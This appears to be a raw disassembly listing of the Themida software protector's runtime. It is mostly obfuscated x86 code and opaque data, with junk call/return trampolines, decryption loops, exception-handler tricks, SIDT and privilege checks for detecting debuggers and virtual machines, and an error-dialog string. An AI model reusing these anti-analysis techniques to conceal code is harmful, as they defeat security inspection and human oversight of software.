dd 41000000h, 0E3FDC351h, 0F8E84A9h, 2DBFB9CAh, 0E80216ABh
dd 6, 0EFCCD418h, 0C88A4852h, 6AC08B5Ah, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 8804C357h
dd 3DC91E4Ah, 89601548h, 0A807699Dh, 6860F06h, 8B000000h
dd 0A81A69B5h, 8D336106h, 6A829B1h, 1ED9BD83h, 750006A8h
dd 0E9BD8309h, 6A82Dh, 53501974h, 0D9B8C08Bh, 89000007h
dd 0A807B585h, 0AC9D8D06h, 0FF06AAA1h, 83585BD3h, 0A82DE9BDh
dd 17740006h, 0D9B85350h, 89000007h, 0A807B585h, 9B9D8D06h
dd 0FF06AA9Eh, 8B585BD3h, 0F6B966C0h, 0ABA50FBh, 9138CBAh
dd 0A80DD99Dh, 80D88B06h, 8D53C7E1h, 0A828159Dh, 89038B06h
dd 50438B03h, 8D504389h, 0AAF7219Dh, 89038B06h, 0B5895B03h
dd 6A80B89h, 0F58D0160h, 8906A813h, 0A81461BDh, 0F18A6106h
dd 858D006Ah, 6AAF721h, 0CE8h, 0A33F5F00h, 97343FDAh, 0AD74F4ECh
dd 594FB571h, 659D0950h, 6A06A81Eh, 0E9816660h, 858D8AC7h
dd 6A82815h, 0B9D9589h, 6A5006A8h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 6A41C357h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h
dd 0C3564600h, 8166F23Ch, 6AD193D2h, 48B0F00h, 66000000h
dd 68534BBFh, 1800h, 6A53CA8Bh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 8136C357h, 329DCC22h
dd 35BD010Ah, 0FF06A832h, 0A829D595h, 50006A06h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 8166EAB3h, 0FF06BCC2h, 0A80F5595h, 0C3DD8006h, 11E9h
dd 0B41ECF00h, 6C7B49F7h, 0B4AE078Eh, 0E4BECD47h, 0B5FFB0C0h
dd 6AAF788h, 13E8h, 1F7DC00h, 27477EC7h, 95A3F052h, 0AA5382Ch
dd 8F8A7A11h, 198531h, 0FF5A06A8h, 0A820DD95h, 8F0F5106h
dd 1, 858D59FCh, 6A82815h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 6EC35343h, 80D972D5h, 8BA8E974h, 0A814B995h
dd 18408B06h, 28B98D8Bh, 85C706A8h, 6A83415h, 0
; ---------------------------------------------------------------------------
adc dh, 80h
mov ecx, 0E130F48h
cmp dword ptr [ebp+6A80A99h], 0
jz loc_57BE99
sub edi, [ebp+6A80D5Dh]
cmp eax, 8Ch
jnb loc_57C002
push 0
push eax
call sub_57BE79
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57BE79 proc near ; CODE XREF: Themida_:0057BE71p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_57BE79 endp
; ---------------------------------------------------------------------------
mov edi, 8D8B5356h
pop ebp
push gs
push es
pop ecx
pop edi
jmp loc_57BECD
; ---------------------------------------------------------------------------
loc_57BE99: ; CODE XREF: Themida_:0057BE57j
cmp eax, 98h
jnb loc_57C002
push 0
push edx
call sub_57BEAF
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57BEAF proc near ; CODE XREF: Themida_:0057BEA7p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_57BEAF endp
; ---------------------------------------------------------------------------
mov ch, 0B8h
jmp small loc_57BECB
; ---------------------------------------------------------------------------
db 2 dup(0), 0BDh
; ---------------------------------------------------------------------------
jb short loc_57BF3B
das
loc_57BECB: ; CODE XREF: Themida_:0057BEC1j
wait
push edi
loc_57BECD: ; CODE XREF: Themida_:0057BE94j
lea eax, dword_5B243B[ebp]
call eax
pusha
mov al, cl
mov ebx, [ebp+6A81649h]
popa
lea eax, word_5B1E8E[ebp]
jmp loc_57BEFB
; ---------------------------------------------------------------------------
dw 8EA6h
dd 0AA57A119h, 4B50F8EEh, 2D6C7037h
db 0C7h, 0DAh, 0CBh
; ---------------------------------------------------------------------------
loc_57BEFB: ; CODE XREF: Themida_:0057BEE5j
or [ebp+6A814FDh], esi
call eax
mov eax, eax
mov dl, 8
cmp dword ptr [ebp+6A81ED9h], 0
jnz short loc_57BF19
cmp dword ptr [ebp+6A82DE9h], 0
jz short loc_57BF32
loc_57BF19: ; CODE XREF: Themida_:0057BF0Ej
push eax
push ebx
mov eax, eax
mov eax, 0BC6h
mov [ebp+6A807B5h], eax
lea ebx, [ebp+6AAA1ACh]
call ebx
pop ebx
pop eax
loc_57BF32: ; CODE XREF: Themida_:0057BF17j
cmp dword ptr [ebp+6A82DE9h], 0
jz short loc_57BF52
loc_57BF3B: ; CODE XREF: Themida_:0057BEC8j
push eax
push ebx
mov eax, 0BC6h
mov [ebp+6A807B5h], eax
lea ebx, [ebp+6AA9E9Bh]
call ebx
pop ebx
pop eax
loc_57BF52: ; CODE XREF: Themida_:0057BF39j
mov dx, 6F2Dh
sub dl, 0EDh
mov eax, eax
mov [ebp+6A82CCDh], edi
cmp eax, 0FFFFFFFFh
jnz loc_57BF98
or edi, [ebp+6A802F5h]
mov dword ptr [ebp+6A82F21h], 0
mov [ebp+6A80B6Dh], edi
jmp loc_57C098
; ---------------------------------------------------------------------------
mov cl, 36h
jmp loc_57BFF7
; ---------------------------------------------------------------------------
jg loc_57BF98
mov ecx, [ebp+6A80C01h]
loc_57BF98: ; CODE XREF: Themida_:0057BF64j
; Themida_:0057BF8Cj
cmp eax, 1
jnz loc_57BFF7
jmp loc_57BFB4
; ---------------------------------------------------------------------------
dw 0D865h
; ---------------------------------------------------------------------------
retn 52FFh
; ---------------------------------------------------------------------------
db 0B8h
dd 0A254C84Dh, 0E188A170h
; ---------------------------------------------------------------------------
loc_57BFB4: ; CODE XREF: Themida_:0057BFA1j
jmp loc_57C0CA
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_57BFC4
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57BFC4 proc near ; CODE XREF: Themida_:0057BFBCp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_57BFC4 endp
; ---------------------------------------------------------------------------
dd 44C8DD43h, 0C26DE6E4h, 5A569C02h, 12E9h, 0A3867F00h
dd 0EA2C7F53h, 0F8EC1B4Ch, 0D81747AEh
db 24h, 0E0h, 2Ch
; ---------------------------------------------------------------------------
loc_57BFF7: ; CODE XREF: Themida_:0057BF87j
; Themida_:0057BF9Bj
jmp near ptr dword_57B044+1E9h
; ---------------------------------------------------------------------------
add edx, [ebp+6A80045h]
loc_57C002: ; CODE XREF: Themida_:0057BE68j
; Themida_:0057BE9Ej
mov eax, eax
clc
cmp dword ptr [ebp+6A81ED9h], 0
jnz short loc_57C017
cmp dword ptr [ebp+6A82DE9h], 0
jz short loc_57C030
loc_57C017: ; CODE XREF: Themida_:0057C00Cj
push eax
push ebx
mov eax, eax
mov eax, 7DDh
mov [ebp+6A807B5h], eax
lea ebx, [ebp+6AAA1ACh]
call ebx
pop ebx
pop eax
loc_57C030: ; CODE XREF: Themida_:0057C015j
cmp dword ptr [ebp+6A82DE9h], 0
jz short loc_57C050
push eax
push ebx
mov eax, 7DDh
mov [ebp+6A807B5h], eax
lea ebx, [ebp+6AA9E9Bh]
call ebx
pop ebx
pop eax
loc_57C050: ; CODE XREF: Themida_:0057C037j
jnz loc_57C060
jmp loc_57C060
; ---------------------------------------------------------------------------
db 66h
dd 17CBD23h
; ---------------------------------------------------------------------------
loc_57C060: ; CODE XREF: Themida_:loc_57C050j
; Themida_:0057C056j
mov ecx, [ebp+6A828B5h]
mov eax, eax
push 0
push ebx
call sub_57C073
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57C073 proc near ; CODE XREF: Themida_:0057C06Bp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_57C073 endp
; ---------------------------------------------------------------------------
db 67h
; ---------------------------------------------------------------------------
add al, 82h
mov [ebp+6A8300Dh], edi
jmp loc_57C287
; ---------------------------------------------------------------------------
cld
mov edi, [ebp+6A801B5h]
loc_57C098: ; CODE XREF: Themida_:0057BF80j
lea eax, [ebp+6AAF525h]
mov [ebp+6A81EA1h], esi
mov [ebp+6AAF71Dh], eax
mov ecx, 8AF724Fh
jmp loc_57C0EE
; ---------------------------------------------------------------------------
dd 0AE8h, 41FBD600h, 0F0D5B404h, 898F7FECh, 0A80A659Dh
; ---------------------------------------------------------------------------
push es
pop edi
loc_57C0CA: ; CODE XREF: Themida_:loc_57BFB4j
lea eax, [ebp+6AAF32Dh]
jl loc_57C0D9
movzx edx, dx
loc_57C0D9: ; CODE XREF: Themida_:0057C0D0j
inc eax
sub [ebp+6A82189h], esi
adc dx, 7013h
mov [ebp+6AAF71Dh], eax
movzx edi, ax
loc_57C0EE: ; CODE XREF: Themida_:0057C0AFj
push 34h
lea eax, [ebp+6A826D1h]
push eax
push dword ptr [ebp+6AAF71Dh]
push 0
call dword ptr [ebp+6A8142Dh]
cmp eax, 7
jz loc_57C276
mov bx, ds
test bl, 4
jnz loc_57C21C
mov byte ptr [ebp+6A815D5h], 56h
push 9CA8B852h
push dword ptr [ebp+6A831F9h]
lea eax, [ebp+6A83AC3h]
call eax
push 4
push 1000h
push 64h
push 0
call eax
mov [ebp+6AAF790h], eax
mov byte ptr [ebp+6A815D5h], 47h
push 0EC18AC9Bh
push dword ptr [ebp+6A831F9h]
lea eax, [ebp+6A83AC3h]
call eax
call eax
mov esi, eax
mov byte ptr [ebp+6A815D5h], 4Fh
push 0C62F2661h
push dword ptr [ebp+6A8069Dh]
lea eax, [ebp+6A83AC3h]
call eax
lea ebx, [ebp+6AAF78Ch]
push ebx
push 28h
push esi
call eax
test eax, eax
jnz short $+2
mov byte ptr [ebp+6A815D5h], 41h
push 0DB876498h
push dword ptr [ebp+6A8069Dh]
lea eax, [ebp+6A83AC3h]
call eax
mov [ebp+6AAF7A9h], eax
mov byte ptr [ebp+6A815D5h], 4Ch
push 80A4E7A4h
push dword ptr [ebp+6A8069Dh]
lea eax, [ebp+6A83AC3h]
call eax
mov ebx, [ebp+6AAF790h]
lea ebx, [ebx+4]
push ebx
lea ebx, [ebp+6AAF795h]
push ebx
push 0
call eax
mov ebx, [ebp+6AAF790h]
mov dword ptr [ebx], 1
mov dword ptr [ebx+0Ch], 2
mov ebx, [ebp+6A8307Dh]
mov dword ptr [ebp+6A82615h], 0
push 0
push 0
push 0
mov ebx, [ebp+6AAF790h]
push ebx
push 0
push dword ptr [ebp+6AAF78Ch]
call dword ptr [ebp+6AAF7A9h]
loc_57C21C: ; CODE XREF: Themida_:0057C114j
mov byte ptr [ebp+6A815D5h], 45h
push 92A5F797h
push dword ptr [ebp+6A80D2Dh]
lea eax, [ebp+6A83AC3h]
call eax
push 0
push 2
call eax
mov bx, ds
test bl, 4
jnz short loc_57C276
mov ebx, [ebp+6AAF790h]
mov dword ptr [ebx+0Ch], 0
push 0
push 0
mov ebx, [ebp+6AAF790h]
push ebx
push 0
push dword ptr [ebp+6AAF78Ch]
call dword ptr [ebp+6AAF7A9h]
push dword ptr [ebp+6AAF78Ch]
call dword ptr [ebp+6A80F55h]
loc_57C276: ; CODE XREF: Themida_:0057C108j
; Themida_:0057C242j
push 0
call dword ptr [ebp+6A80081h]
mov cx, dx
mov edx, [ebp+6A80779h]
loc_57C287: ; CODE XREF: Themida_:0057C08Cj
lea eax, [ebp+6AB2986h]
or [ebp+6A83179h], edi
mov ecx, [ebp+6A81549h]
push eax
push 0
push ebx
call sub_57C2A5
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57C2A5 proc near ; CODE XREF: Themida_:0057C29Dp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_57C2A5 endp
; ---------------------------------------------------------------------------
push ebx
dec byte ptr [ecx]
push large dword ptr fs:0
mov cx, 1853h
mov large fs:0, esp
mov ecx, esi
cmp dword ptr [ebp+6A80061h], 0
jz loc_57C314
mov [ebp+6A821D5h], ecx
cmp dword ptr [ebp+6A8339Dh], 1
jnz loc_57C314
mov [ebp+6A81659h], ecx
cmp byte ptr [ebp+6AAFBA9h], 0
jnz loc_57C314
jnb loc_57C306
cmc
loc_57C306: ; CODE XREF: Themida_:0057C2FFj
jmp loc_57C488
; ---------------------------------------------------------------------------
pusha
mov [ebp+6A80FEDh], ebx
cld
popa
loc_57C314: ; CODE XREF: Themida_:0057C2D3j
; Themida_:0057C2E6j ...
xor ebx, ebx
push 0
push ebx
call sub_57C321
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57C321 proc near ; CODE XREF: Themida_:0057C319p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_57C321 endp
; ---------------------------------------------------------------------------
db 78h, 99h, 0D5h
dd 3ECD8043h, 8B66C033h, 3F0F40FEh, 8F640B07h, 5, 4C48300h
dd 72EAC181h, 958B0F04h, 6A819F9h, 0FFFFB83h, 2A84h, 0DBE68000h
dd 115E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1A04h, 0C3564600h, 9435CEA2h, 0E92A15F0h, 67h, 8BF8BF0Fh
dd 0C70C244Ch, 0A481h, 0FFFFFF00h, 0B88183FFh, 4000000h
dd 8BC3C033h, 550C245Ch, 0E8h, 0ED815D00h, 6AB29A8h, 0B8838Bh
dd 858D0000h, 6AB2A7Bh, 0B88389h, 335D0000h, 0F60C3C0h
dd 68Fh, 59958900h, 306A826h, 0A808D99Dh, 6E96106h, 10000000h
dd 12F24723h, 22DA8105h, 8D0A3F11h, 0AB299E85h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 119566EAh, 1A391AD3h, 0A9BD8BC7h, 5006A802h, 0DD64B966h
dd 35FF64h, 0E9000000h, 11h, 6A75FDC3h, 930976ACh, 3C45905Ah
dd 0F32575E6h, 2589641Bh, 0
dd 27D19D89h, 0AB906A8h, 0B8000000h, 4855D704h, 0F7816405h
dd 0D465BB0Dh, 40BA8685h, 810034B6h, 345FE8EAh, 0FB81ED00h
dd 564D5868h, 85C70A75h, 6A81725h, 1
; ---------------------------------------------------------------------------
loc_57C488: ; CODE XREF: Themida_:loc_57C306j
pop large dword ptr fs:0
add esp, 4
add [ebp+6A82001h], esi
mov dx, 17E9h
mov eax, eax
add [ebp+6A80DD9h], ecx
cmp dword ptr [ebp+6A81ED9h], 0
jnz short loc_57C4B6
cmp dword ptr [ebp+6A82DE9h], 0
jz short loc_57C4CF
loc_57C4B6: ; CODE XREF: Themida_:0057C4ABj
push eax
push ebx
mov eax, eax
mov eax, 43Dh
mov [ebp+6A80FD5h], eax
lea ebx, [ebp+6AAA213h]
call ebx
pop ebx
pop eax
loc_57C4CF: ; CODE XREF: Themida_:0057C4B4j
cmp dword ptr [ebp+6A82DE9h], 0
jz short loc_57C4EF
push eax
push ebx
mov eax, 43Dh
mov [ebp+6A80FD5h], eax
lea ebx, [ebp+6AA9EB4h]
call ebx
pop ebx
pop eax
loc_57C4EF: ; CODE XREF: Themida_:0057C4D6j
and ecx, [ebp+6A80C25h]
cmc
push 0
push ebp
call sub_57C501
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57C501 proc near ; CODE XREF: Themida_:0057C4F9p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_57C501 endp
; ---------------------------------------------------------------------------
adc byte ptr [edi+edx-749954C1h], 0F9h
mov eax, eax
jmp loc_57C667
; ---------------------------------------------------------------------------
dd 4, 31392E31h, 30h, 6 dup(0)
db 0
align 2
aExceptionInfor db 'Exception Information',0
aPleaseContactT db 'Please, contact the software developers with the following codes.'
db ' Thank you.',0Ah
db 0Dh,0Ah
db 0Dh,' (press CTRL+C on this window to copy to clipboard) ',0Ah
db 0Dh,0Ah
db 0Dh,'Version = %s',0Ah
db 0Dh,'CheckIN = %d',0Ah
db 0Dh,'CheckOUT = %d',0Ah
db 0Dh,'ProcIN = %d',0Ah
db 0Dh,'ProcOUT = %d',0Ah
db 0Dh,'ExitIN = %d',0Ah
db 0Dh,'ExitOUT = %d',0Ah
db 0Dh,'TPin = %d',0Ah
db 0Dh,0
; ---------------------------------------------------------------------------
loc_57C667: ; CODE XREF: Themida_:0057C51Bj
cmp dword ptr [ebp+6A81F91h], 0
jz loc_57C7A1
lea eax, [ebp+6AA9CCBh]
push eax
lea eax, [ebp+6AA9C35h]
push eax
push 80000001h
call dword ptr [ebp+6AA9CDBh]
lea eax, [ebp+6AB2B13h]
push eax
lea eax, [ebp+6AB2B1Dh]
push eax
push 0
push 0
lea eax, [ebp+6AA9C49h]
push eax
push dword ptr [ebp+6AA9CCBh]
call dword ptr [ebp+6A80D11h]
lea eax, [ebp+6AB2B13h]
push eax
lea eax, [ebp+6AB2B21h]
push eax
push 0
push 0
lea eax, [ebp+6AA9C5Bh]
push eax
push dword ptr [ebp+6AA9CCBh]
call dword ptr [ebp+6A80D11h]
lea eax, [ebp+6AB2B13h]
push eax
lea eax, [ebp+6AB2B2Dh]
push eax
push 0
push 0
lea eax, [ebp+6AA9CA8h]
push eax
push dword ptr [ebp+6AA9CCBh]
call dword ptr [ebp+6A80D11h]
lea eax, [ebp+6AB2B13h]
push eax
lea eax, [ebp+6AB2B35h]
push eax
push 0
push 0
lea eax, [ebp+6AA9CC6h]
push eax
push dword ptr [ebp+6AA9CCBh]
call dword ptr [ebp+6A80D11h]
lea eax, [ebp+6AB2B13h]
push eax
lea eax, [ebp+6AB2B31h]
push eax
push 0
push 0
lea eax, [ebp+6AA9CAFh]
push eax
push dword ptr [ebp+6AA9CCBh]
call dword ptr [ebp+6A80D11h]
lea eax, [ebp+6AB2B13h]
push eax
lea eax, [ebp+6AB2B25h]
push eax
push 0
push 0
lea eax, [ebp+6AA9CB7h]
push eax
push dword ptr [ebp+6AA9CCBh]
call dword ptr [ebp+6A80D11h]
lea eax, [ebp+6AB2B13h]
push eax
lea eax, [ebp+6AB2B29h]
push eax
push 0
push 0
lea eax, [ebp+6AA9CBEh]
push eax
push dword ptr [ebp+6AA9CCBh]
call dword ptr [ebp+6A80D11h]
push dword ptr [ebp+6AA9CCBh]
call dword ptr [ebp+6A80791h]
jmp loc_57C843
; ---------------------------------------------------------------------------
loc_57C7A1: ; CODE XREF: Themida_:0057C66Ej
cmp dword ptr [ebp+6A8325Dh], 0
jz loc_57C843
cmp dword ptr [ebp+6A8339Dh], 0
jnz loc_57C7CC
mov edx, [ebp+6A80725h]
add edx, 1CF8h
jmp loc_57C7DB
; ---------------------------------------------------------------------------
loc_57C7CC: ; CODE XREF: Themida_:0057C7B5j
lea edx, [ebp+6A82815h]
mov edx, [edx+34h]
add edx, 3BD4C340h
loc_57C7DB: ; CODE XREF: Themida_:0057C7C7j
mov [ebp+6A832A1h], edx
cmp dword ptr [ebp+6A832A1h], 0
jz loc_57C843
mov ebx, [ebp+6A832A1h]
add ebx, 4Ch
mov eax, [ebx]
mov [ebp+6AB2B1Dh], eax
mov ebx, [ebp+6A832A1h]
add ebx, 50h
mov eax, [ebx]
mov [ebp+6AB2B21h], eax
mov ebx, [ebp+6A832A1h]
add ebx, 54h
mov eax, [ebx]
mov [ebp+6AB2B2Dh], eax
mov ebx, [ebp+6A832A1h]
add ebx, 58h
mov eax, [ebx]
mov [ebp+6AB2B31h], eax
mov ebx, [ebp+6A832A1h]
add ebx, 5Ch
mov eax, [ebx]
mov [ebp+6AB2B25h], eax
loc_57C843: ; CODE XREF: Themida_:0057C79Cj
; Themida_:0057C7A8j ...
cmp dword ptr [ebp+6A81F91h], 0
jnz loc_57C85D
cmp dword ptr [ebp+6A8325Dh], 0
jz loc_57C8C5
loc_57C85D: ; CODE XREF: Themida_:0057C84Aj
push dword ptr [ebp+6AB2B35h]
push dword ptr [ebp+6AB2B29h]
push dword ptr [ebp+6AB2B25h]
push dword ptr [ebp+6AB2B31h]
push dword ptr [ebp+6AB2B2Dh]
push dword ptr [ebp+6AB2B21h]
push dword ptr [ebp+6AB2B1Dh]
lea eax, [ebp+6AB2B17h]
push eax
lea eax, [ebp+6AB2B4Fh]
push eax
lea eax, [ebp+6A822DDh]
push eax
call dword ptr [ebp+6A82235h]
add esp, 24h
push 40h
lea eax, [ebp+6AB2B39h]
push eax
lea eax, [ebp+6A822DDh]
push eax
push 0
call dword ptr [ebp+6A8142Dh]
push 1
call dword ptr [ebp+6A80081h]
loc_57C8C5: ; CODE XREF: Themida_:0057C857j
mov eax, ecx
jmp short loc_57C8E1
; ---------------------------------------------------------------------------
db 17h, 0F3h, 46h
dd 9Bh, 4 dup(0)
db 0
; ---------------------------------------------------------------------------
loc_57C8E1: ; CODE XREF: Themida_:0057C8C7j
jmp loc_57CAF1
; ---------------------------------------------------------------------------
loc_57C8E6: ; CODE XREF: Themida_:0057C8FBj
pusha
mov ebx, [esp+24h]
call $+5
pop ebp
sub ebp, 6AB2EE3h
popa
retn 4
; ---------------------------------------------------------------------------
jmp loc_57C8E6
; ---------------------------------------------------------------------------
loc_57C900: ; CODE XREF: Themida_:0057C905j
pusha
popa
retn 8
; ---------------------------------------------------------------------------
jmp loc_57C900
; ---------------------------------------------------------------------------
loc_57C90A: ; CODE XREF: Themida_:0057C90Fj
pusha
popa
retn 8
; ---------------------------------------------------------------------------
jmp loc_57C90A
; ---------------------------------------------------------------------------
loc_57C914: ; CODE XREF: Themida_:0057C919j
pusha
popa
retn 8
; ---------------------------------------------------------------------------
jmp loc_57C914
; ---------------------------------------------------------------------------
loc_57C91E: ; CODE XREF: Themida_:0057C923j
pusha
popa
retn 8
; ---------------------------------------------------------------------------
jmp loc_57C91E
; ---------------------------------------------------------------------------
align 10h
loc_57C930: ; CODE XREF: Themida_:0057C933j
pusha
popa
retn
; ---------------------------------------------------------------------------
jmp loc_57C930
; ---------------------------------------------------------------------------
mov esi, [ebp+6AB2F1Bh]
and esi, 0FFFFF000h
jmp loc_57C954
; ---------------------------------------------------------------------------
loc_57C949: ; CODE XREF: Themida_:0057C95Aj
call sub_57C967
add esi, 1000h
loc_57C954: ; CODE XREF: Themida_:0057C944j
cmp esi, [ebp+6AB2F1Fh]
jbe loc_57C949
mov eax, cr3
mov cr3, eax
iret
; =============== S U B R O U T I N E =======================================
sub_57C967 proc near ; CODE XREF: Themida_:loc_57C949p
pusha
popa
retn
sub_57C967 endp
; ---------------------------------------------------------------------------
loc_57C96A: ; CODE XREF: Themida_:0057C996j
push eax
mov ax, cs
and al, 3
or al, al
jz loc_57C991
push eax
push ebx
mov ebx, 2
mov eax, [ebp+6A832A1h]
loc_57C985: ; CODE XREF: Themida_:0057C989j
xchg bl, [eax]
or bl, bl
jnz loc_57C985
pop ebx
pop eax
loc_57C991: ; CODE XREF: Themida_:0057C972j
pop eax
inc dword ptr [esp]
retn
; ---------------------------------------------------------------------------
jmp loc_57C96A
; ---------------------------------------------------------------------------
db 50h
dd 82474FFh, 24F595FFh, 0F5006A8h, 0FE244C01h, 1CC08358h
dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h
dd 9840FC0h, 8B000000h, 0A832A185h, 0C606h, 2404FF58h
dd 0E90004C2h, 0FFFFFFBBh, 8C665053h, 3E380CBh, 840FDB0Ah
dd 38h, 2BBh, 0A1858B00h, 8606A832h, 0FDB0A18h, 0FFFFF685h
dd 0A185C7FFh, 6A82Fh, 8B000000h, 8B082444h, 100098h, 988900h
dd 8B000010h, 0E9188918h, 0Ah, 2FA185C7h, 10006A8h, 5B580000h
dd 0C32404FFh, 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h
dd 763AB7A1h, 1B101B0h, 13E9h, 0C88AAC00h, 0C332C302h
dd 0BAACBD1h, 1840FD2h, 4A000000h, 850FC90Ah, 0FFFFFFE5h
dd 850FD20Bh, 0FFFFFFDDh, 8B52C361h, 7A8B57D4h, 0E9C03308h
dd 1, 3F80AAh, 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h
dd 10E9DB33h, 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h
dd 0B49D3D3h, 0E8850FC9h, 8BFFFFFFh, 5B595EC3h, 0A1BB60C3h
dd 0B0763AB7h, 11E901h, 32AC0000h, 0D1C32AC3h, 0D20BAACBh
dd 1840Fh, 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h
dd 61FFFFFFh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_57CAF1: ; CODE XREF: Themida_:loc_57C8E1j
mov ax, ds
test al, 4
jz loc_57CB25
mov dword ptr [ebp+6AB2EC0h], 1
push eax
sidt fword ptr [esp-2]
pop dword ptr [ebp+6AB2EC4h]
lea eax, [ebp+6AB2EBCh]
lea edi, [ebp+6AB2EC4h]
mov [eax], edi
jmp loc_57CB48
; ---------------------------------------------------------------------------
loc_57CB25: ; CODE XREF: Themida_:0057CAF6j
lea eax, [ebp+6A82815h]
mov eax, [eax+38h]
add eax, 9B46F317h
mov [ebp+6AB2EBCh], eax
lea eax, [ebp+6A82815h]
mov eax, [eax+3Ch]
mov [ebp+6AB2EC0h], eax
loc_57CB48: ; CODE XREF: Themida_:0057CB20j
lea eax, [ebp+6AB2ED9h]
mov [ebp+6A824F5h], eax
jmp loc_57CBE0
; ---------------------------------------------------------------------------
push edx
mov edx, esp
pusha
mov esi, [edx+8]
mov edi, [edx+0Ch]
mov eax, 0A945CAB2h
jmp loc_57CB74
; ---------------------------------------------------------------------------
loc_57CB6D: ; CODE XREF: Themida_:0057CB76j
add [esi], al
xor [esi], al
ror eax, 1
inc esi
loc_57CB74: ; CODE XREF: Themida_:0057CB68j
cmp esi, edi
jb loc_57CB6D
popa
pop edx
retn 8
; ---------------------------------------------------------------------------
push edx
mov edx, esp
pusha
mov esi, [edx+8]
mov edi, [edx+0Ch]
mov eax, 0A945CAB2h
jmp loc_57CB9C
; ---------------------------------------------------------------------------
loc_57CB95: ; CODE XREF: Themida_:0057CB9Ej
xor [esi], al
sub [esi], al
ror eax, 1
inc esi
loc_57CB9C: ; CODE XREF: Themida_:0057CB90j
cmp esi, edi
jb loc_57CB95
popa
pop edx
retn 8
; ---------------------------------------------------------------------------
push edx
mov edx, esp
push esi
push ecx
push ebx
xor ebx, ebx
mov esi, [edx+8]
mov ecx, [edx+0Ch]
jmp loc_57CBCF
; ---------------------------------------------------------------------------
loc_57CBBC: ; CODE XREF: Themida_:0057CBD1j
lodsb
cmp al, 2Dh
jz loc_57CBCF
add al, 98h
xor al, 13h
xor bl, al
rol ebx, 8
dec ecx
loc_57CBCF: ; CODE XREF: Themida_:0057CBB7j
; Themida_:0057CBBFj
or ecx, ecx
jnz loc_57CBBC
mov eax, ebx
pop ebx
pop ecx
pop esi
pop edx
retn 8
; ---------------------------------------------------------------------------
loc_57CBE0: ; CODE XREF: Themida_:0057CB54j
lea eax, [ebp+6AB314Ch]
mov [ebp+6A81A35h], eax
lea eax, [ebp+6AB3174h]
mov [ebp+6A82D75h], eax
lea eax, [ebp+6AB319Ch]
mov [ebp+6A80EF1h], eax
pusha
call near ptr loc_57CC18+2
push es
sal ecx, 1
mov esi, 0F2494C20h
aam 0BEh
lodsd
jecxz short near ptr loc_57CC2B+5
lodsb
loc_57CC18: ; CODE XREF: Themida_:0057CC05p
sets byte ptr [esi-7Fh]
fst dword ptr [edi+ecx*2+60C08B5Ah]
xor si, 5864h
mov edx, ebx
popa
loc_57CC2B: ; CODE XREF: Themida_:0057CC15j
cmp dword ptr [ebp+6A81ED9h], 0
jnz short loc_57CC3D
cmp dword ptr [ebp+6A82DE9h], 0
jz short loc_57CC56
loc_57CC3D: ; CODE XREF: Themida_:0057CC32j
push eax
push ebx
mov eax, eax
mov eax, 40Eh
mov [ebp+6A807B5h], eax
lea ebx, [ebp+6AAA1ACh]
call ebx
pop ebx
pop eax
loc_57CC56: ; CODE XREF: Themida_:0057CC3Bj
cmp dword ptr [ebp+6A82DE9h], 0
jz short loc_57CC76
push eax
push ebx
mov eax, 40Eh
mov [ebp+6A807B5h], eax
lea ebx, [ebp+6AA9E9Bh]
call ebx
pop ebx
pop eax
loc_57CC76: ; CODE XREF: Themida_:0057CC5Dj
push 0
push esi
call sub_57CC81
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57CC81 proc near ; CODE XREF: Themida_:0057CC79p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_57CC81 endp
; ---------------------------------------------------------------------------
db 4, 0A8h, 0F9h
dd 0FD04842h, 38Ah, 0A9C58000h, 0D38B44B1h, 9E9C08Bh, 36000000h
dd 2474AD89h, 985D6A0Ch, 55C28166h, 61BD8321h, 6A800h
dd 1B840Fh, 0AE90000h, 68000000h, 32B04C59h, 0BA66B99Fh
dd 1C2E990h, 66520000h, 9261D981h, 66DF8C5Eh, 662952B9h
dd 4C7F7h, 1AA850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
